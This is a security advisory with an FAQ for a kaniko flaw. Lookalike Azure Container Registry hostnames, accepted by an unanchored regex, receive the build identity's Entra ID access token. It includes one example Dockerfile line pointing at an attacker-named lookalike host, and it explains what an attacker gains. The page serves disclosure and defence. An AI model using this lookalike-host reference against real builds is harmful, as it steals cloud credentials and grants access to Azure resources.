CVE-2026-105769: kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Event History
Frequently Asked Questions
Which builds are exposed to token theft?
Builds are exposed when kaniko runs with an Azure identity available through service principal environment variables, a federated workload identity token, or managed identity, and processes an attacker-controlled image reference on a lookalike registry hostname. The hostname only needs to contain .azurecr.io, .azurecr.cn, .azurecr.de, or .azurecr.us.
What does an attacker need to trigger the issue?
An attacker needs to cause the build to reference an image hosted on a lookalike registry, such as through a FROM instruction or COPY --from=<image>. No RUN instruction or image push is required, and the referenced registry must not already have credentials in the Docker configuration.
What can a stolen token be used for?
The token can be used against Azure Resource Manager with the build identity's existing role assignments until it expires. It can also be exchanged for credentials to any Azure Container Registry that the identity is permitted to access.
Are all external registries handled this way?
kaniko consults the affected Azure Container Registry credential helper for registries without Docker config credentials, except for Google registries and Amazon ECR registries. A lookalike hostname accepted by the helper receives a POST request to its /oauth2/exchange endpoint containing the obtained Azure token.
What version contains the fix?
The issue is fixed in kaniko 1.25.20.